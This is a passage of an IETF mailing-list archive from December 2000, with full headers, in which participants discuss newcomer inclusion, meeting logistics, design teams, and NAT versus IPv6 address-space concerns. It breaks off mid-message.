charset=us-ascii On Thu, 21 Dec 2000 16:51:18 EST, Scott Brim said: > I think we can succeed in using mail for clarification (like we're doing > now). We all just have to be willing to look stupid now and then. I've got that mastered. ;) --==_Exmh_-296906496P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 Comment: Exmh version 2.2 06/16/2000 iQA/AwUBOkKAoHAt5Vm009ewEQJAXACdGJWRtaCnCV/rBSqPU4JgqXuFV8MAoP6L 8WsPMaN/01icXmMns+lVGy0D =vlUN -----END PGP SIGNATURE----- --==_Exmh_-296906496P-- From owner-ietf-outbound Thu Dec 21 19:01:40 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA05095 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 19:00:02 -0500 (EST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA03328 for ; Thu, 21 Dec 2000 17:36:26 -0500 (EST) Received: from airborne.cisco.com (airborne.cisco.com [171.71.154.32]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id OAA03327; Thu, 21 Dec 2000 14:36:08 -0800 (PST) Received: from localhost.localdomain.cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by airborne.cisco.com (Mirapoint) with ESMTP id ADF09604; Thu, 21 Dec 2000 14:35:55 -0800 (PST) X-Mailer: emacs 20.7.1 (via feedmail 8 Q); VM 6.88 under Emacs 20.7.1 Sender: sbrim@cisco.com From: "Scott Brim" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14914.33953.137528.166479@localhost.localdomain> Date: Thu, 21 Dec 2000 17:30:57 -0500 To: Ken Hornstein Cc: ietf@ietf.org Subject: Re: Bottom feeders In-Reply-To: <200012211924.eBLJO1R05882@ginger.cmf.nrl.navy.mil> References: <5.0.2.1.2.20001221091747.037e3ae0@joy.songbird.com> <200012211924.eBLJO1R05882@ginger.cmf.nrl.navy.mil> Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit On 21 Dec 2000 at 14:24 -0500, Ken Hornstein apparently wrote: > >Being open does not mean that new arrivals are free from learning the > >special handshakes and the technical peculiarities of our work; they are > > Hm, my mistake, I guess. I read on the IETF web page that the IETF didn't > have any secret handshakes; I guess I was wrong :-) Dave slipped up in revealing the existence of secret handshakes, and we're not going to tell him about the new one. As for the rest ... yes, I think new people need to gather a few clues but it doesn't take many. I guess the first clue is to realize how much of your time making real contributions takes. If you're willing to do real work I think you're accepted immediately -- especially if your work is any good :-). From owner-ietf-outbound Thu Dec 21 19:10:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA05236 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 19:10:02 -0500 (EST) Received: from viper3.alleghenypower.com (viper3.alleghenypower.com [63.68.200.6]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA03852 for ; Thu, 21 Dec 2000 17:56:12 -0500 (EST) Received: from viper3.alleghenypower.com (root@localhost) by viper3.alleghenypower.com with ESMTP id RAA29771 for ; Thu, 21 Dec 2000 17:55:44 -0500 (EST) Message-Id: <200012212255.RAA29767@viper3.alleghenypower.com> From: "Rakers, Jason" To: "IETF mailing list (E-mail)" Subject: RFC 2764 and VPRN Date: Thu, 21 Dec 2000 17:55:38 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org Is anyone aware of current implementations of Virtual Private Routed Networks in use by carriers as described in the VPN RFC 2764? Or if anyone can point me in the direction to find more information on VPRN implementation advantages and disadvantages besides that described in the RFC. Thanks, Jason Rakers Network Engineer Allegheny Energy jrakers@alleghenyenergy.com From owner-ietf-outbound Thu Dec 21 19:30:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA05479 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 19:30:03 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA04227 for ; Thu, 21 Dec 2000 18:14:45 -0500 (EST) Received: from dcrocker.dcrocker.net (node-64-145-172-82.dslspeed.zyan.com [64.145.172.82]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id PAA07442; Thu, 21 Dec 2000 15:14:45 -0800 Message-Id: <5.0.2.1.2.20001221145949.03bc6080@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 21 Dec 2000 15:05:22 -0800 To: "Scott Brim" From: Dave Crocker Subject: Re: IETF logistics Cc: ietf@ietf.org In-Reply-To: <14914.31574.923561.911615@localhost.localdomain> References: <200012210453.eBL4r0CW226090@black-ice.cc.vt.edu> <14911.38185.69675.522594@localhost.localdomain> <5.0.0.25.2.20001219090808.009ef9e0@gnat.inet.org> <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> <5.0.2.1.2.20001220090714.03b1dec0@joy.songbird.com> <200012210453.eBL4r0CW226090@black-ice.cc.vt.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org Sorry, no. Not always. Let's be clear that email and face-to-face are not equivalent media. Human communications skills vary and sometimes you need to change channels to get an idea across. Sometimes a quick presentation can clarify a point in a way that no amount of writing can accomplish. At least, for some writers and some readers. I think it is fine to treat presentations with caution; they can consume a lot of time and they can be of dubious benefit. But there is a difference between caution and prohibition. If we first focus on the needed benefit out of each agenda item -- and, yes, whether it could instead be done on the list -- the details of how it is accomplished will be chosen appropriately. d/ At 04:51 PM 12/21/00 -0500, Scott Brim wrote: >On 20 Dec 2000 at 23:53 -0500, Valdis.Kletnieks@vt.edu apparently wrote: > > I assume that by "Presentations", you mean "tutorial presentations", > > and not "Gee George, your proposal on the mailing list looks novel > > and interesting, but we're not getting it, could you take 10 mins > > in the WG meeting and explain it more fully" presentations? > >I think we can succeed in using mail for clarification (like we're doing >now). We all just have to be willing to look stupid now and then. =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Thu Dec 21 19:40:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA05633 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 19:40:03 -0500 (EST) Received: from mailhub1.almaden.ibm.com (mailhub1.almaden.ibm.com [198.4.83.44]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA04236 for ; Thu, 21 Dec 2000 18:15:01 -0500 (EST) Received: from maui.almaden.ibm.com (maui.almaden.ibm.com [9.1.24.92]) by mailhub1.almaden.ibm.com (8.8.8/8.8.8) with ESMTP id PAA53874; Thu, 21 Dec 2000 15:09:08 -0800 Received: from hursley.ibm.com (gsine04.us.sine.ibm.com [9.14.6.44]) by maui.almaden.ibm.com (AIX4.3/8.9.3/8.7) with ESMTP id PAA22508; Thu, 21 Dec 2000 15:14:32 -0800 Message-ID: <3A428E6C.5798457E@hursley.ibm.com> Date: Thu, 21 Dec 2000 17:12:44 -0600 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en,fr MIME-Version: 1.0 To: "Udotong, Isaac" CC: ietf@ietf.org Subject: Re: Welcoming newcomers References: <61ADB14614BFF443B1273E7B279BCF0B1E1DC3@madonna.advsys.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Isaac, Welcome! I would say that the first year of involvement in the IETF is tough on anybody. It takes that long to learn the language. Brian "Udotong, Isaac" wrote: > > As a newcomer, I can't agree more with Bill, or at least I find it difficult > doing so. Apart from reading emails, I kind of feel left behind. > > Isaac Udotong > > -----Original Message----- > From: Brian E Carpenter [mailto:brian@hursley.ibm.com] > Sent: Wednesday, December 20, 2000 4:58 PM > To: ietf@ietf.org > Subject: Welcoming newcomers > > Bill Manning wrote: > ... > > I enjoyed a much different experience. I was asked by a couple of > > WG chairs if I would be willing to take on tasks that needed to be > > done, was invited to share opinions and thoughts by folks on the > > IAB... as a first time attendee. Getting involved was easy. Those > > responsible encouraged new blood. Recent experience seems to > indicate > > a "winnowing" process is now in effect, making it harder, perhaps > > much harder to allow individual contribution. If I was starting > today, > > I'd avoid the IETF as a venue. > > If we are projecting this image, it's a problem. But given the constant > increase in attendance, I doubt if it's really the case. Certainly in my > own WG we have some very active participants who weren't at all involved > when > we started, and some of the early activists have moved on. > > If you think that good newcomers are not getting a fair hearing, recommend > them to the ADs as WG chairs. And mentor any newcomers that you happen to > know. > > Brian From owner-ietf-outbound Thu Dec 21 19:50:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA05773 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 19:50:02 -0500 (EST) Received: from mailhub1.almaden.ibm.com (mailhub1.almaden.ibm.com [198.4.83.44]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA04684 for ; Thu, 21 Dec 2000 18:35:14 -0500 (EST) Received: from maui.almaden.ibm.com (maui.almaden.ibm.com [9.1.24.92]) by mailhub1.almaden.ibm.com (8.8.8/8.8.8) with ESMTP id PAA45806 for ; Thu, 21 Dec 2000 15:29:21 -0800 Received: from hursley.ibm.com (gsine04.us.sine.ibm.com [9.14.6.44]) by maui.almaden.ibm.com (AIX4.3/8.9.3/8.7) with ESMTP id PAA22516 for ; Thu, 21 Dec 2000 15:34:46 -0800 Message-ID: <3A429327.D142BA23@hursley.ibm.com> Date: Thu, 21 Dec 2000 17:32:55 -0600 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en,fr MIME-Version: 1.0 To: ietf@ietf.org Subject: Re: IETF logistics References: <200012210346.eBL3kDM04815@sandelman.ottawa.on.ca> <043601c06b9f$11a25fc0$d45904d1@cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit In fact, having wireless access to drafts, RFCs and mail archives during the discussion is a real productivity tool IMHO. Exchanging email about the topic under discussion can be pretty useful too. Brian Melinda Shore wrote: > > > So maybe WG chairs should have the right to unplug the > wireless access > > points :-) > > I wouldn't go that far - I'd rather have people who > enter the room without having read the drafts trying > to fetch them and read them on the fly than I would > have them expecting to have everything explained. > > Nevertheless, I was *really* irked to be packed into > the back of the room during OPES BOF and to see > people seated in chairs engrossed in various computer > games. I'd say that if you see someone sitting in > a seat you'd like to have and they're playing games, > you should feel free to ask them for their seat. > > Melinda From owner-ietf-outbound Thu Dec 21 20:00:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA05959 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 20:00:03 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA04730 for ; Thu, 21 Dec 2000 18:39:33 -0500 (EST) Received: from dcrocker.dcrocker.net (node-64-145-172-82.dslspeed.zyan.com [64.145.172.82]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id PAA07836; Thu, 21 Dec 2000 15:39:28 -0800 Message-Id: <5.0.2.1.2.20001221153605.0385cec0@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 21 Dec 2000 15:38:06 -0800 To: Ken Hornstein From: Dave Crocker Subject: Re: Handshakes Cc: ietf@ietf.org In-Reply-To: <3A427E4A.274F39EF@hursley.ibm.com> References: <200012211924.eBLJO1R05882@ginger.cmf.nrl.navy.mil> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org Ken, et al, Humor notwithstanding, please note that I said "special", not "secret". That was quite intentional, and intended to reflect the considerable process and culture documentation AND willingness to teach them. (Yeah. We are and do.) d/ At 04:03 PM 12/21/00 -0600, Brian E Carpenter wrote: >Ken Hornstein wrote: >... > > >Being open does not mean that new arrivals are free from learning the > > >special handshakes and the technical peculiarities of our work; they are > > > > Hm, my mistake, I guess. I read on the IETF web page that the IETF didn't > > have any secret handshakes; I guess I was wrong :-) > >Do you seriously imagine we are going to *teach* you the secret >handshakes? :-) > >But seriously - yes it's hard, and it's probably harder than when I first came >to the IETF in 1992. It's the brightest collection of protocol designers >on earth (I'm not one of them) - it's never going to be an easy club to join. =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Thu Dec 21 20:10:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA06133 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 20:10:03 -0500 (EST) Received: from zed.isi.edu (IDENT:root@zed.isi.edu [128.9.160.57]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA04897 for ; Thu, 21 Dec 2000 18:50:24 -0500 (EST) Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.11.0) id eBLMolc22338; Thu, 21 Dec 2000 14:50:47 -0800 From: Bill Manning Message-Id: <200012212250.eBLMolc22338@zed.isi.edu> Subject: Re: stamping rubber To: dhc2@dcrocker.net (Dave Crocker) Date: Thu, 21 Dec 2000 14:50:47 -0800 (PST) Cc: bmanning@ISI.EDU (Bill Manning), ietf@ietf.org In-Reply-To: <5.0.2.1.2.20001221140251.037ed9a0@joy.songbird.com> from "Dave Crocker" at Dec 21, 2000 02:08:57 PM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit % It IS true that development from scratch, within a working group, is highly % problematic when the group is large and/or the topic complicated. (Can we % all say "design by committee".) That's why the concept of the design team % is formally acknowledged. When did this occur? Certainly after you disbanded the DNS WG after it tried to segment into design teams for security, large zone support, and dynamic update (ixfr,notify, et.al.) I've never seen where the concept of design teams was sanctioned but I've not been all that active in IETF politics. % And some folks have noticed that forming the design team and doing an % initial specification BEFORE chartering the working group can be much more % efficient. It does tend to restrict alternate approaches tho. By the time it reaches a WG, its a fait-accompli. (sp?) % However the ultimate test of the material in the stamp is whether the % working group can and does exercise ultimate authority over specifications % and whether it can and does make changes. All of my IETF experience says % that anyone expecting rubber in the stamp is quickly -- and with % appropriate rudeness -- educated otherwise. Sometimes true. % % d/ % % % =-=-=-=-= % Dave Crocker % Brandenburg Consulting % Tel: +1.408.246.8253, Fax: +1.408.273.6464 % % -- --bill From owner-ietf-outbound Thu Dec 21 20:20:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA06369 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 20:20:03 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA05065 for ; Thu, 21 Dec 2000 18:59:35 -0500 (EST) Received: from dcrocker.dcrocker.net (node-64-145-172-82.dslspeed.zyan.com [64.145.172.82]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id PAA08112 for ; Thu, 21 Dec 2000 15:59:34 -0800 Message-Id: <5.0.2.1.2.20001221155548.037ec560@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 21 Dec 2000 15:59:32 -0800 To: ietf@ietf.org From: Dave Crocker Subject: Re: stamping rubber In-Reply-To: <200012212250.eBLMolc22338@zed.isi.edu> References: <5.0.2.1.2.20001221140251.037ed9a0@joy.songbird.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 02:50 PM 12/21/00 -0800, Bill Manning wrote: >% That's why the concept of the design team is formally acknowledged. > > I've never seen where the concept of design teams was sanctioned > but I've not been all that active in IETF politics. Design teams have been formally discussed and sanctioned in IETF process documents for at least 5-6 years. >% And some folks have noticed that forming the design team and doing an >% initial specification BEFORE chartering the working group can be much more >% efficient. > > It does tend to restrict alternate approaches tho. By the time > it reaches a WG, its a fait-accompli. (sp?) 1. There is nothing to prevent a competing design team. Just ask the Instant Messaging folks. 2. Yes, it does provide tactical advantage to the folks that do the specification work early. Come to think of it, though, that is ALWAYS true in the IETF and is viewed as a pragmatic strength, not a political maneuver. d/ =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Thu Dec 21 20:30:28 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA06570 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 20:30:03 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA05872 for ; Thu, 21 Dec 2000 19:55:32 -0500 (EST) Received: from p7020-img-nt.cisco.com (fred-hm-dhcp1.cisco.com [171.69.128.116]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id QAA01966; Thu, 21 Dec 2000 16:55:08 -0800 (PST) Message-Id: <5.0.2.1.2.20001221152612.03a440e0@flipper.cisco.com> X-Sender: fred@flipper.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 21 Dec 2000 16:07:24 -0800 To: ietf@ietf.org, iab@iab.org From: Fred Baker Subject: Re: NATs *ARE* evil! In-Reply-To: <200012141919.eBEJJNCW31234@black-ice.cc.vt.edu> References: <20001214065548.312A6898@sean.ebone.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 02:19 PM 12/14/00 -0500, Valdis.Kletnieks@vt.edu wrote: >I haven't decided which of the four NAT should be blamed on. let's be fair. There was an excellent reason for NAT at the time. Postel suggested that private address spaces could be used rather than assigning precious IP Address space to networks that had no intention of attaching to the network, and NATs wound up being a way to couple that with topological address space management to try it out. We knew it was a short term hack at the time, and many of us still think that. As Yakov is prone to point out, in a perfect world wherein all applications are client/server and address space is uniformly available, there are enough addresses around so that NATs are all we need. There are a few problems: - the world is not perfect - all applications are not client/server - address space is not uniformly available Hence, NATs don't solve every problem. The reference to IPv6 is interesting. Up until a year ago, I didn't particular push IPv6 as a solution. Reason: it wasn't in anybody's operational game plan. IPv6 had a serious chicken/egg problem - numerous people wanted to be the second to deploy it, but nobody wanted to be first, and vendors generally didn't see the point in implementing it apart from somebody waving cash to buy it. As a proposal, it solved some interesting things, like more bits in the address, better autoconfiguration, more scalable mobility, more efficient VJ Header Compression, re-introduces the end to end model so we can support non-client/server applications well, and so on. However, being "good" isn't enough unless is it "good enough to deploy" - good enough to replace the old stuff, or good. When 3G put the proposal on the table, it became viable. At the moment, globally, we have perhaps half a dozen to a dozen commercial networks running IPv6 and upwards of 50 research networks. That's an insignificant dent in the great wide Internet, but it is not "nothing" either. We have some pretty large countries that have stated an intention to move in that direction. Now that folks have the opportunity to be second - someone else has gone first - anyone who is having trouble getting addresses from a registry is thinking seriously about IPv6. In short, things had to get worse before they could get better. We'll see where things go, but whatever my opinions on IPv6 are (and I am on record as saying it isn't all we might have liked it to be, my voice being one among many), I am not at all convinced that it is a washout. From owner-ietf-outbound Thu Dec 21 20:40:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA06766 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 20:40:02 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA05878 for ; Thu, 21 Dec 2000 19:55:39 -0500 (EST) Received: from p7020-img-nt.cisco.com (fred-hm-dhcp1.cisco.com [171.69.128.116]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id QAA01973; Thu, 21 Dec 2000 16:55:08 -0800 (PST) Message-Id: <5.0.2.1.2.20001221161543.044a4890@flipper.cisco.com> X-Sender: fred@flipper.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 21 Dec 2000 16:41:45 -0800 To: "Tony Dal Santo" From: Fred Baker Subject: Re: NATs *ARE* evil! Cc: ietf@ietf.org, iab@ISI.EDU In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 02:54 PM 12/14/00 -0500, Tony Dal Santo wrote: >What exactly is the state of the IPv4 "address pool"? I realize there is >a PERCEIVED shortage, and this is usually the main motivation for NAT. >But is there a real shortage? Are "reasonable" requests for addresses >being denied? The way I understand it (which could easily be out of date) is that about 45% of the address pool has been delegated, and about 25.21% is currently being advertised. The unicast address pool, what we once called the class A, class B, and class C address pools, represents 7/8 of the IP Addresses: the remainder are divided among the multicast (class D) and experimental (class E) address space. So the bottom line is that we have delegated out a touch over half the usable unicast IP Address space. The way we are using that is, in many places, interconnecting NAT translation points - the use of private address space hides the real usage, and we have no really good way to estimate it. If we start going for non-client-server protocols - voice on IP - in a big way (and I am told that some of the world's largest telephone carriers have plans in place to convert national and international telco backbones to VoIP over the coming 3-5 years), that means that these devices will need to be addressable from outside their domains, which means those people will find themselves needing a non-NAT'd address. Implications are largely speculative, but have the option of being non-pretty. Next question, not usually discussed, is how much of the world as yet doesn't have IP Addresses allocated to it and would like to. I think it is fair to say that the world is convinced that IP connectivity is very important. I have heard ministers of telecom from dirt-poor African countries discuss how wonderful it would be to have so much free capital laying around that they could "put a telephone into each village." Those same ministers are doing whatever it takes to ensure that their countries are on the Internet. Unfortunately, the world is not internet-attached. Western Europe is, the US and Canada are, Australia is, Taiwan has Internet in every public library (I'm told). It comprises populations in the 1 billion person ballpark. There are some pretty large swaths of people in Eastern Europe, Asia, and Africa that are not connected and should be. If 25% of the address space is what we need for the part connected now, that tells me that I need 150% of the address space to cover everybody. If wide deployment of converged networks means that 25% was nowhere close enough for the present Internet population, then 150% is a very low guess. So that's "what is" last I heard it from those who have the hard numbers, and "what could be". "What will be" remains anybody's guess. My crystal ball is really shiny due to excessive rubbing, and just as cloudy as ever. From owner-ietf-outbound Thu Dec 21 21:00:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA07127 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 21:00:03 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA06108 for ; Thu, 21 Dec 2000 20:09:35 -0500 (EST) Received: from p7020-img-nt.cisco.com (fred-hm-dhcp1.cisco.com [171.69.128.116]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id RAA08451; Thu, 21 Dec 2000 17:09:11 -0800 (PST) Message-Id: <5.0.2.1.2.20001221170640.03a47410@flipper.cisco.com> X-Sender: fred@flipper.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 21 Dec 2000 17:09:00 -0800 To: ietf@ietf.org, iab@ISI.EDU From: Fred Baker Subject: Re: NATs *ARE* evil! In-Reply-To: <5.0.2.1.2.20001221161543.044a4890@flipper.cisco.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 04:41 PM 12/21/00 -0800, Fred Baker wrote: >Unfortunately, the world is not internet-attached. Western Europe is, the >US and Canada are, Australia is, Taiwan has Internet in every public >library (I'm told). It comprises populations in the 1 billion person >ballpark. There are some pretty large swaths of people in Eastern Europe, >Asia, and Africa that are not connected and should be. before I get flamed, let me hasten in with - I left out a lot of countries that have some level of internet attachment. My point is not that "your favorite country has no attachment", but that "there are relatively few countries that have essentially pervasive attachment". If you still think I'm missing your favorite country, flame me privately :^) From owner-ietf-outbound Thu Dec 21 21:10:06 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA07265 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 21:10:03 -0500 (EST) Received: from sean.ebone.net (IDENT:postfix@sean.ebone.net [195.158.227.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA06191 for ; Thu, 21 Dec 2000 20:11:22 -0500 (EST) Received: by sean.ebone.net (Postfix, from userid 1113) id A863D898; Fri, 22 Dec 2000 02:11:13 +0100 (CET) To: mfisk@lanl.gov, prasad@watson.ibm.com Subject: Re: NATs *ARE* evil! Cc: Harald@ALVESTRAND.NO, iab@ISI.EDU, ietf@ietf.org, tytso@MIT.EDU Message-Id: <20001222011113.A863D898@sean.ebone.net> Date: Fri, 22 Dec 2000 02:11:13 +0100 (CET) From: smd@ebone.net (Sean Doran) X-Loop: ietf@ietf.org | from label switching, so what I'm suggesting is that we take the bull by | the horns once and for all and run MPLS over IP instead of under it... an mplsd-like tag fits neatly in the first half of an ipvsux destination address, although there are other places in the vsux header you can put tag bits if you're inclined to do so for stacking reasons or whatnot. one nicety of stuffing the tag into the vsux header (or even *below* the vsux header, as payload) is that you can forward through v6 networks such as they exist, without them also simultaneously having to be MPLSd. that is, you abstract a collection of vsux-but-not-mplsd routers into a connection between two lsrs (with likely hit to reservation based control plane). in other words, a particularly useful mplsd label is one that causes the next-hop lsr to generate a packet that is relevant within a non-mplsd network with its own topological namespace. that is, generate an IPvsux or ordinary IP packet out an interface such that things on the other side of the interface can route back to it. that is, tag "xyzi" means be a NAT and send packet out IP/IPvsux interface "i". this has all the same problems of NAT where there is no end-to-end namespace that is not TOPOLOGICAL in nature separate from but convertible between a namespace populated with globally unique IDENTITY names. (where that namespace can mean single hosts or service locations or whatever, but not two or more of these things simultaneously! overloading bad.) Sean. From owner-ietf-outbound Thu Dec 21 21:30:41 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA07589 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 21:30:03 -0500 (EST) Received: from almso1.proxy.att.com (almso1.att.com [192.128.167.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA06330 for ; Thu, 21 Dec 2000 20:17:35 -0500 (EST) Received: from dns.maillennium.att.com ([135.25.114.99]) by almso1.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id eBM1H1Y15924 for ; Thu, 21 Dec 2000 20:17:01 -0500 (EST) Received: from att.com ([135.197.86.122]) by maillennium.att.com (labmail) with SMTP id <20001222011659099000i76ce> (Authid: tony@maillennium.att.com); Fri, 22 Dec 2000 01:17:00 +0000 Message-ID: <3A42ABA4.64BCCD9B@att.com> Date: Thu, 21 Dec 2000 20:17:24 -0500 From: Tony Hansen Organization: AT&T Laboratories X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Brian E Carpenter CC: ietf@ietf.org Subject: Re: IETF logistics References: <200012210346.eBL3kDM04815@sandelman.ottawa.on.ca> <043601c06b9f$11a25fc0$d45904d1@cisco.com> <3A429327.D142BA23@hursley.ibm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit so too can using instant messaging be a valuable tool during a meeting. Tony Hansen tony@att.com Brian E Carpenter wrote: > > In fact, having wireless access to drafts, RFCs and mail archives > during the discussion is a real productivity tool IMHO. Exchanging > email about the topic under discussion can be pretty useful too. > > Brian > > Melinda Shore wrote: > > > > > So maybe WG chairs should have the right to unplug the > > wireless access > > > points :-) > > > > I wouldn't go that far - I'd rather have people who > > enter the room without having read the drafts trying > > to fetch them and read them on the fly than I would > > have them expecting to have everything explained. > > > > Nevertheless, I was *really* irked to be packed into > > the back of the room during OPES BOF and to see > > people seated in chairs engrossed in various computer > > games. I'd say that if you see someone sitting in > > a seat you'd like to have and they're playing games, > > you should feel free to ask them for their seat. > > > > Melinda From owner-ietf-outbound Thu Dec 21 21:40:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA08662 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 21:40:02 -0500 (EST) Received: from watsun.cc.columbia.edu (IDENT:cu51491@watsun.cc.columbia.edu [128.59.39.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA06477 for ; Thu, 21 Dec 2000 20:24:16 -0500 (EST) Received: (from jaltman@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id UAA02076; Thu, 21 Dec 2000 20:24:13 -0500 (EST) Date: Thu, 21 Dec 2000 20:24:13 EST From: Jeffrey Altman Reply-To: jaltman@columbia.edu To: "Scott Brim" Cc: Ken Hornstein , ietf@ietf.org Subject: Re: Bottom feeders In-Reply-To: Your message of Thu, 21 Dec 2000 17:30:57 -0500 Message-ID: X-Loop: ietf@ietf.org > > As for the rest ... yes, I think new people need to gather a few clues > but it doesn't take many. I guess the first clue is to realize how much > of your time making real contributions takes. If you're willing to do > real work I think you're accepted immediately -- especially if your work > is any good :-). > We also must keep in mind what we are talking about. Does acceptance in one working group in which you work equate to acceptance at the IETF Meetings? For most newbies I would say 'no'. I think it takes years before one has enough familiarity with the activities of a dozen working groups to feel a welcome at the week long IETF meeting. I hope a newbie comes to IETF for the first time because they are participating in one working group on the mailing list. (Those who are not participating in anything but are coming to IETF because they think it is cooler than Java One and charges a flat fee for tutorials will quickly find out otherwise and are left out of this discussion.) The newbie registers for IETF but because we can't provide the scheduling for her/his working group until the last minute must book a plane ticket, hotel room, and time away from the office for the entire week. Now the newbie shows up willing to work in his/her working group of choice but doesn't know what to do with the other 4.1 days that s/he is at the IETF. The end result is that they become lurkers in other working groups. How many people look at the schedule and ask themselves 